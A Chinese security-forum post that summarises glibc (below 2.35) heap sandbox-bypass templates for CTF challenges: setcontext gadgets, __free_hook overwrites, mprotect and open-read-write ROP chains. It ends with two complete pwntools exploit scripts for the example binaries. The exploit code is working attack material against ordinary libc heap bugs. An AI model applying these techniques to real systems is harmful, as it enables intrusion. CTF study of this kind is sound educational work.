问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
2.35版本以下堆沙盒绕过模板总结带例题
CTF
总结了2.35版本以下堆沙盒绕过的各种模板,包括2.27,2.29,2.31的原理和模板还有对应例题
libc 2.27 ========= 利用绕过原理setcontext+53 mprotect+orw 下面是setcontext的源码 ```php <setcontext+53>: mov rsp, QWORD PTR [rdi+0xa0] <setcontext+60>: mov rbx, QWORD PTR [rdi+0x80] <setcontext+67>: mov rbp, QWORD PTR [rdi+0x78] <setcontext+71>: mov r12, QWORD PTR [rdi+0x48] <setcontext+75>: mov r13, QWORD PTR [rdi+0x50] <setcontext+79>: mov r14, QWORD PTR [rdi+0x58] <setcontext+83>: mov r15, QWORD PTR [rdi+0x60] <setcontext+87>: mov rcx, QWORD PTR [rdi+0xa8] <setcontext+94>: push rcx <setcontext+95>: mov rsi, QWORD PTR [rdi+0x70] <setcontext+99>: mov rdx, QWORD PTR [rdi+0x88] <setcontext+106>: mov rcx, QWORD PTR [rdi+0x98] <setcontext+113>: mov r8, QWORD PTR [rdi+0x28] <setcontext+117>: mov r9, QWORD PTR [rdi+0x30] <setcontext+121>: mov rdi, QWORD PTR [rdi+0x68] <setcontext+125>: xor eax, eax <setcontext+127>: ret <setcontext+128>: mov rcx, QWORD PTR [rip+0x398d91] <setcontext+135>: neg eax <setcontext+137>: mov DWORD PTR fs:[rcx], eax <setcontext+140>: or rax, 0xffffffffffffffff <setcontext+144>: ret ``` 我们利用已知漏洞把free换成setcontext+53 后,free的地址 就是我们的rdi,因此我们可以控制各种寄存器, 然后我们只需要劫持rdi,rsi,rdx 为 mprotect所需要的参数(addr,len,prot)就可以附上可执行权限了,然后通过劫持rbp返回存好了orw的地方进行orw - **`addr`**: 通常对应于 `rdi` 寄存器。 - **`len`**: 通常对应于 `rsi` 寄存器。 - **`prot`**: 通常对应于 `rdx` 寄存器。 模板 -- ```php orw=b'' orw+=p64(pop\_rdi)+p64(flag\_addr)+p64(pop\_rsi)+p64(0)+p64(pop\_rdx)+p64(0)+p64(open\_addr) orw+=p64(pop\_rdi)+p64(3)+p64(pop\_rsi)+p64(flag\_addr)+p64(pop\_rdx)+p64(0x30)+p64(read\_addr) orw+=p64(pop\_rdi)+p64(1)+p64(pop\_rsi)+p64(flag\_addr)+p64(pop\_rdx)+p64(0x30)+p64(write\_addr) #flag 是存放flag的位置 p1=b'' p1 = p1.ljust(0x68, b'\\x00') + p64(heap\_addr-0x7f0) #mprotect的addr 也就是heap\_base p1 = p1.ljust(0x70, b'\\x00') + p64(0x2000) #mprotect的size p1 = p1.ljust(0x78, b'\\x00') + p64(rop\_addr) #rbp p1 = p1.ljust(0x88, b'\\x00') + p64(7) #mprotect的prot p1 = p1.ljust(0xa0, b'\\x00') + p64(rop\_addr) #rsp p1 = p1.ljust(0xa8, b'\\x00') + p64(mprotect\_addr) #rcx edit(num,p1) delete(p1) ``` libc2.29 ======== 利用绕过原理 setcontext+61 + mprotect+orw+magic 在libc2.29版本之后 setcontext的代码由rdi变为了rdx ```php <setcontext+61>: mov ebx,DWORD PTR \[rdx+0x80\] <setcontext+67>: mov rbp,QWORD PTR \[rdx+0x78\] <setcontext+71>: mov r12,QWORD PTR \[rdx+0x48\] <setcontext+75>: mov r13,QWORD PTR \[rdx+0x50\] <setcontext+79>: mov r14,QWORD PTR \[rdx+0x58\] <setcontext+83>: mov r15,QWORD PTR \[rdx+0x60\] <setcontext+87>: mov rcx,QWORD PTR \[rdx+0xa8\] <setcontext+94>: push rcx <setcontext+95>: mov rsi,QWORD PTR \[rdx+0x70\] <setcontext+99>: mov rdi,QWORD PTR \[rdx+0x68\] <setcontext+103>: mov rcx,QWORD PTR \[rdx+0x98\] <setcontext+110>: mov r8,QWORD PTR \[rdx+0x28\] <setcontext+114>: mov r9,QWORD PTR \[rdx+0x30\] <setcontext+118>: mov rdx,QWORD PTR \[rdx+0x88\] <setcontext+125>: xor eax,eax <setcontext+127>: ret ``` magic:0x12be97 ```php mov rdx, qword ptr \[rdi + 8\]; mov rax, qword ptr \[rdi\]; mov rdi, rdx; jmp rax; ``` 可以通过覆盖free\_hook 为magic 然后把rdx转化为\[rdi+8\] 此时的rdi是我们的堆块,并且可以通过后面的jmp rax 进入setcontext+61 就完成了转化,剩下的攻击方式 就是mprotext + orw - **`addr`**: 通常对应于 `rdi` 寄存器。 - **`len`**: 通常对应于 `rsi` 寄存器。 - **`prot`**: 通常对应于 `rdx` 寄存器。 模板 -- ```php orw=b'' orw+=p64(pop\_rdi)+p64(flag)+p64(pop\_rsi)+p64(0)+p64(pop\_rdx)+p64(0)+p64(open\_addr) orw+=p64(pop\_rdi)+p64(3)+p64(pop\_rsi)+p64(flag\_addr)+p64(pop\_rdx)+p64(0x30)+p64(read\_addr) orw+=p64(pop\_rdi)+p64(1)+p64(pop\_rsi)+p64(flag\_addr)+p64(pop\_rdx)+p64(0x30)+p64(write\_addr) magic\_gadget=0x0000000000151990+libc\_addr #覆盖到hook函数上 p1 = p64(setcontext\_61) + p64(heap\_addr +0x420) p1 = p1.ljust(0x68, b'\\x00') + p64(heap\_addr-0x1e0) p1 = p1.ljust(0x70, b'\\x00') + p64(0x2000) p1 = p1.ljust(0x78, b'\\x00') + p64(rop\_addr) p1 = p1.ljust(0x88, b'\\x00') + p64(7) p1 = p1.ljust(0x98, b'\\x00') + p64(mprotect\_addr) #尽量布置到一个堆块上 edit(num,p1) delete(num) ``` libc2.31 ======== 利用绕过原理 setcontext+61 + mprotect+orw+magic 在libc2.29版本之后 setcontext的代码由rdi变为了rdx ```php <setcontext+61>: mov rsp, qword ptr \[rdx + 0xa0\] <setcontext+68>: mov rbx, qword ptr \[rdx + 0x80\] <setcontext+75>: mov rbp, qword ptr \[rdx + 0x78\] <setcontext+79>: mov r12, qword ptr \[rdx + 0x48\] <setcontext+83>: mov r13, qword ptr \[rdx + 0x50\] <setcontext+87>: mov r14, qword ptr \[rdx + 0x58\] <setcontext+91>: mov r15, qword ptr \[rdx + 0x60\] <setcontext+95>: test dword ptr fs:\[0x48\], 2 <setcontext+107>: ✔ je setcontext+294 <setcontext+294>: mov rcx, qword ptr \[rdx + 0xa8\] <setcontext+301>: push rcx <setcontext+302>: mov rsi, qword ptr \[rdx + 0x70\] <setcontext+306>: mov rdi, qword ptr \[rdx + 0x68\] <setcontext+310>: mov rcx, qword ptr \[rdx + 0x98\] <setcontext+317>: mov r8, qword ptr \[rdx + 0x28\] <setcontext+321>: mov r9, qword ptr \[rdx + 0x30\] <setcontext+325>: mov rdx, qword ptr \[rdx + 0x88\] <setcontext+332>: xor eax, eax <setcontext+334>: ret ``` 因为常规情况下我们只能控制rdi,所以我们要找到一些magic进行一些转换 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-fb925af0fd07ea204fcd0e65b7e8c3addecd727a.png) 比如2.31版本 ```php mov,rdx.qword ptr \[rdi+8\]; mov qword ptr \[rsp\],rax; call qword ptr \[rdx+0x20\] ``` 可以通过覆盖free\_hook 为magic 然后把rdx转化为\[rdi+8\] 此时的rdi是我们的堆块,并且可以通过后面的call 进入setcontext+61 就完成了转化,剩下的攻击方式 和2.27没有i太大的区别 模板 -- ```php orw=b'' orw+=p64(pop\_rdi)+p64(flag)+p64(pop\_rsi)+p64(0)+p64(pop\_rdx)+p64(0)+p64(open\_addr) orw+=p64(pop\_rdi)+p64(3)+p64(pop\_rsi)+p64(flag\_addr)+p64(pop\_rdx)+p64(0x30)+p64(read\_addr) orw+=p64(pop\_rdi)+p64(1)+p64(pop\_rsi)+p64(flag\_addr)+p64(pop\_rdx)+p64(0x30)+p64(write\_addr) magic\_gadget=0x0000000000151990+libc\_addr #覆盖到hook函数上 p1 = p64(heap\_addr + 0x420) + p64(heap\_addr +0x420-0x20) p1 = p1.ljust(0x10, b'\\x00') + p64(setcontext\_61) p1 = p1.ljust(0x58, b'\\x00') + p64(heap\_addr-0x1e0) p1 = p1.ljust(0x60, b'\\x00') + p64(0x2000) p1 = p1.ljust(0x78, b'\\x00') + p64(7) p1 = p1.ljust(0x90, b'\\x00') + p64(rop\_addr) p1 = p1.ljust(0x98, b'\\x00') + p64(mprotect\_addr) #尽量布置到一个堆块上 edit(num,p1) delete(num) ``` 例题 == 由于是主要讲沙盒绕过 漏洞分析部分省去重点给出绕过沙盒这部分的调试 pwn1 ---- 题目链接 通过网盘分享的文件:pwn1 链接: <https://pan.baidu.com/s/1Ncro986biNhhV9Pb3I7lFw> 提取码: sn0w 这里前面是protobuf逆向部分,绕过这部分后就是一个常规的堆题 这里给出交互脚本 ```php def add(index, size,content): Devicemsg = Devicemsg_pb2.devicemsg() Devicemsg.actionid = 1 Devicemsg.msgidx = index Devicemsg.msgsize = size Devicemsg.msgcontent = content sa(b'You can try to have friendly communication with me now: \n', Devicemsg.SerializeToString()) def free(index): Devicemsg = Devicemsg_pb2.devicemsg() Devicemsg.actionid = 4 Devicemsg.msgidx = index Devicemsg.msgsize = 0 Devicemsg.msgcontent = b'a' sa(b'You can try to have friendly communication with me now: \n', Devicemsg.SerializeToString()) def show(index): Devicemsg = Devicemsg_pb2.devicemsg() Devicemsg.actionid = 3 Devicemsg.msgidx = index Devicemsg.msgsize = 0 Devicemsg.msgcontent = b'a' sa(b'You can try to have friendly communication with me now: \n', Devicemsg.SerializeToString()) def edit(index,content): Devicemsg = Devicemsg_pb2.devicemsg() Devicemsg.actionid = 2 Devicemsg.msgidx = index Devicemsg.msgsize = 0 Devicemsg.msgcontent = content sa(b'You can try to have friendly communication with me now: \n', Devicemsg.SerializeToString()) ``` 存在uaf 漏洞 这里给出libc2.31的沙盒绕过调试过程 magic部分 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-593be9a11fd8d3dcb0ce7c44078354a90186ca97.png) 此时rdx已经被我们控制 就可以进入setcontext+61 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-72189500d43d12fcdd7a2b4a6ce53d05ad5697a6.png) 给heap赋权 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-d6d3c84b66b18b9a7f342a14c33ec82ebcb7abc1.png) 然后执行rop ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-bb7ebad1f9b246deaa427ed9936c1d969c9b4f5b.png) ### exp ```php #!/usr/bin/python3 from pwn import * import random import os import sys import time from pwn import * from ctypes import * import Devicemsg_pb2 #--------------------setting context--------------------- context.clear(arch='amd64', os='linux', log_level='debug') #context.terminal = ['tmux', 'splitw', '-h'] sla = lambda data, content: mx.sendlineafter(data,content) sa = lambda data, content: mx.sendafter(data,content) sl = lambda data: mx.sendline(data) rl = lambda data: mx.recvuntil(data) re = lambda data: mx.recv(data) sa = lambda data, content: mx.sendafter(data,content) inter = lambda: mx.interactive() l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) h64=lambda:u64(mx.recv(6).ljust(8,b'\x00')) s=lambda data: mx.send(data) log_addr=lambda data: log.success("--->"+hex(data)) p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s))) def dbg(): gdb.attach(mx) #--------------------------------------------------------- # libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6') filename = "./pwn" mx = process(filename) #mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013) elf = ELF(filename) libc=elf.libc #初始化完成---------------------------------------------------------\ def add(index, size,content): Devicemsg = Devicemsg_pb2.devicemsg() Devicemsg.actionid = 1 Devicemsg.msgidx = index Devicemsg.msgsize = size Devicemsg.msgcontent = content sa(b'You can try to have friendly communication with me now: \n', Devicemsg.SerializeToString()) def free(index): Devicemsg = Devicemsg_pb2.devicemsg() Devicemsg.actionid = 4 Devicemsg.msgidx = index Devicemsg.msgsize = 0 Devicemsg.msgcontent = b'a' sa(b'You can try to have friendly communication with me now: \n', Devicemsg.SerializeToString()) def show(index): Devicemsg = Devicemsg_pb2.devicemsg() Devicemsg.actionid = 3 Devicemsg.msgidx = index Devicemsg.msgsize = 0 Devicemsg.msgcontent = b'a' sa(b'You can try to have friendly communication with me now: \n', Devicemsg.SerializeToString()) def edit(index,content): Devicemsg = Devicemsg_pb2.devicemsg() Devicemsg.actionid = 2 Devicemsg.msgidx = index Devicemsg.msgsize = 0 Devicemsg.msgcontent = content sa(b'You can try to have friendly communication with me now: \n', Devicemsg.SerializeToString()) for i in range(8): add(i,0xf0,b'a') add(8,0xa0,b'b') for i in range(7): free(i) free(7) show(7) mx.recv(0x50) libc_addr=h64()-0x1ecb61 libc.address=libc_addr show(6) heap_addr=h64()-0x860 setcontext_61 = libc.sym['setcontext'] + 61 pop_rdi=0x0000000000023b6a+libc_addr pop_rdx=0x0000000000142c92+libc_addr pop_rsi=0x000000000002601f+libc_addr ret=pop_rdi+1 open_addr=libc.sym['open'] read_addr=libc.sym['read'] write_addr=libc.sym['write'] free_hook=libc.sym['__free_hook'] mprotect_addr=libc.sym['mprotect'] magic_gadget=0x0000000000151990+libc_addr #0x0000000000151990: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; flag=heap_addr+0x130 flag_addr=flag shellcode = asm(''' push 0x67616c66 mov rdi,rsp xor esi,esi push 2 pop rax syscall mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall mov edi,1 mov rsi,rsp push 1 pop rax syscall ''' ) edit(6,p64(free_hook)) add(9,0xf0,b'a') add(10,0xf0,p64(magic_gadget)) log_addr(heap_addr) log_addr(libc_addr) log_addr(magic_gadget) log_addr(setcontext_61) edit(0,b'flag') rop_addr=heap_addr+0x9d0 p1 = p64(heap_addr + 0x420) + p64(heap_addr +0x420-0x20) p1 = p1.ljust(0x10, b'\x00') + p64(setcontext_61) p1 = p1.ljust(0x58, b'\x00') + p64(heap_addr-0x1e0) p1 = p1.ljust(0x60, b'\x00') + p64(0x2000) p1 = p1.ljust(0x78, b'\x00') + p64(7) p1 = p1.ljust(0x90, b'\x00') + p64(rop_addr) p1 = p1.ljust(0x98, b'\x00') + p64(mprotect_addr) orw=b'' orw+=p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(open_addr) orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x30)+p64(read_addr) orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x30)+p64(write_addr) edit(2,p1) set_context2=p64(0)*4+p64(setcontext_61)+p64(rop_addr)*20 dbg() edit(4,set_context2) edit(6,orw) free(2) inter() ``` pwn2(libc 2.27) --------------- 题目链接 通过网盘分享的文件:pwn2 链接: <https://pan.baidu.com/s/1m8UcXmPGdvufdVxUkb5tig> 提取码: sn0w ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-8bc5f6334ea78a6ff0bab66784723821b19e5b45.png) 给heap增加权限: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-daf94e6b8158e80251309e77ee9d701aabf86f16.png) 返回rop ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-52e5c45b9e76178acf601b81756c89535b12cee1.png) 得到flag ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-cccba166d337192c9b9858ca8338c7ea574327ad.png) ### exp ```php #!/usr/bin/python3 from pwn import * import random import os import sys import time from pwn import * from ctypes import * #--------------------setting context--------------------- context.clear(arch='amd64', os='linux', log_level='debug') #context.terminal = ['tmux', 'splitw', '-h'] sla = lambda data, content: mx.sendlineafter(data,content) sa = lambda data, content: mx.sendafter(data,content) sl = lambda data: mx.sendline(data) rl = lambda data: mx.recvuntil(data) re = lambda data: mx.recv(data) sa = lambda data, content: mx.sendafter(data,content) inter = lambda: mx.interactive() l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) h64=lambda:u64(mx.recv(6).ljust(8,b'\x00')) s=lambda data: mx.send(data) log_addr=lambda data: log.success("--->"+hex(data)) p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s))) def dbg(): gdb.attach(mx) #--------------------------------------------------------- # libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6') filename = "./pwn2" mx = process(filename) #mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013) elf = ELF(filename) libc=elf.libc #初始化完成---------------------------------------------------------\ def menu(num): rl("Your choice:\n") sl(str(num)) def add(index,size): menu(1) rl("index:\n") sl(str(index)) rl("Size:") sl(str(size)) def edit(index,content): menu(2) rl("index:\n") sl(str(index)) rl("context: \n") s(content) def delete(index): menu(3) rl("index:\n") sl(str(index)) def gift(num): menu(4) rl("choose:\n") sl(str(num))# 0 start_addr & 1 heap_addr def menu_(num): rl("Your choice:") sl(str(num)) def add_(index,size): menu_(1) rl("index:") sl(str(index)) rl("Size:") sl(str(size)) def edit_(index,content): menu_(2) rl("index:") sl(str(index)) rl("context: ") s(content) def delete_(index): menu_(3) rl("index:") sl(str(index)) add(0,0x58) add(1,0x58) add(2,0x68) edit(0,b'\x00'*0x58+p8(0xd1)) delete(1) add(1,0xc0) delete(2) add(3,0x58) add(4,0x3f8) add(5,0x38) add(6,0x38) add(7,0x38) edit(3,b'\x00'*0x58+p8(0xc1)) add(8,0xf8) delete(4) delete(5) add(9,0x3f8) gift(1) heap_addr=int(mx.recv(14),16) log_addr(heap_addr) edit(1,b'a'*0x58+p64(0x71)+p64(heap_addr)) pause() add(10,0x68) add(11,0x68) edit(11,b'\x60'+b'\xc7') pause() add(12,0x38) add(13,0x38) payload=p64(0xfbad1800)+p64(0)*3+b'\x00' edit(13,payload) libc_addr=l64()-0x3ed8b0 log_addr(libc_addr) libc.address=libc_addr system=libc.sym['system'] bin_sh = next(libc.search(b'/bin/sh\0')) free_hook=libc.sym['__free_hook'] setcontext_53 = libc.sym['setcontext'] + 53 add_(14,0x28) add_(15,0x28) add_(16,0x28) edit_(14,b'\x00'*0x28+p8(0x61)) delete_(15) add_(15,0x58) delete_(16) edit_(15,b'a'*0x28+p64(0x31)+p64(free_hook)) pause() add_(17,0x28) add_(18,0x28) edit_(0,b'flag') edit_(18,p64(setcontext_53)) #------------------------------------------ edit_(0,b'flag') pop_rdi=0x000000000002164f+libc_addr pop_rsi=0x0000000000023a6a+libc_addr pop_rdx=0x0000000000001b96+libc_addr open_addr=libc.sym['open'] read_addr=libc.sym['read'] write_addr=libc.sym['write'] mprotect_addr=libc.sym['mprotect'] flag_addr=heap_addr-0x590 orw=b'' orw+=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(open_addr) orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x30)+p64(read_addr) orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x30)+p64(write_addr) pause() edit_(9,orw) rop_addr=heap_addr-0x400 #payload=p64(heap_addr)*+p64(heap_addr-0x400) p1=b'' p1 = p1.ljust(0x68, b'\x00') + p64(heap_addr-0x7f0) p1 = p1.ljust(0x70, b'\x00') + p64(0x2000) p1 = p1.ljust(0x78, b'\x00') + p64(rop_addr) p1 = p1.ljust(0x88, b'\x00') + p64(7) p1 = p1.ljust(0xa0, b'\x00') + p64(rop_addr) p1 = p1.ljust(0xa8, b'\x00') + p64(mprotect_addr) dbg() edit_(8,p1) delete_(8) inter() ```
发表于 2025-01-22 10:00:02
阅读 ( 341 )
分类:
二进制
0 推荐
收藏
0 条评论
请先
登录
后评论
sn1w
4 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!